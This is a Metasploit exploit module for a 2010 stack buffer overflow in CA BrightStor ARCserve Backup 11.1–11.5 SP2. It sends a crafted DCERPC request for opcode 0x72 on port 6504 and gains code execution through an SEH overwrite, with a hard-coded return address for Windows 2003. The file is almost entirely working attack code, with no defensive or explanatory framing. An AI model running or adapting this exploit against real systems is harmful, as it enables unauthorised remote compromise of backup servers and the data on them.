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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::DCERPC
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'CA BrightStor ARCserve Message Engine 0x72 Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup
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        11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow
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        the buffer and execute arbitrary code.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'OSVDB', '68329'],
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          [ 'URL', 'http://www.metasploit.com/users/mc' ],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 600,
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          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
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          'StackAdjustment' => -3500,
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        },
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      'Platform' => 'win',
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      'Targets'  =>
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        [
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          [ 'BrightStor ARCserve r11.5/Windows 2003',	{ 'Ret' => 0x2380ceb5 } ],
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        ],
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      'DisclosureDate' => '2010-10-04',
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      'DefaultTarget' => 0))
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    register_options([Opt::RPORT(6504)])
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  end
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  def exploit
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    connect
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    handle = dcerpc_handle('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
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    print_status("Binding to #{handle} ...")
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    dcerpc_bind(handle)
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    print_status("Bound to #{handle} ...")
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    sploit = NDR.string(rand_text_english(760) + generate_seh_payload(target.ret) + "\x00") + NDR.long(0)
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    print_status("Trying target #{target.name}...")
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      begin
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        dcerpc_call(0x72, sploit)
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        rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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      end
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    handler
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    disconnect
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  end
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end
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=begin
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/* opcode: 0x72, address: 0x28E893D0 */
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short   sub_28E893D0 (
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 [in] handle_t  arg_1,
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 [in][ref][string] char * arg_2,
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 [in, out][ref] long * arg_3
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);
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=end
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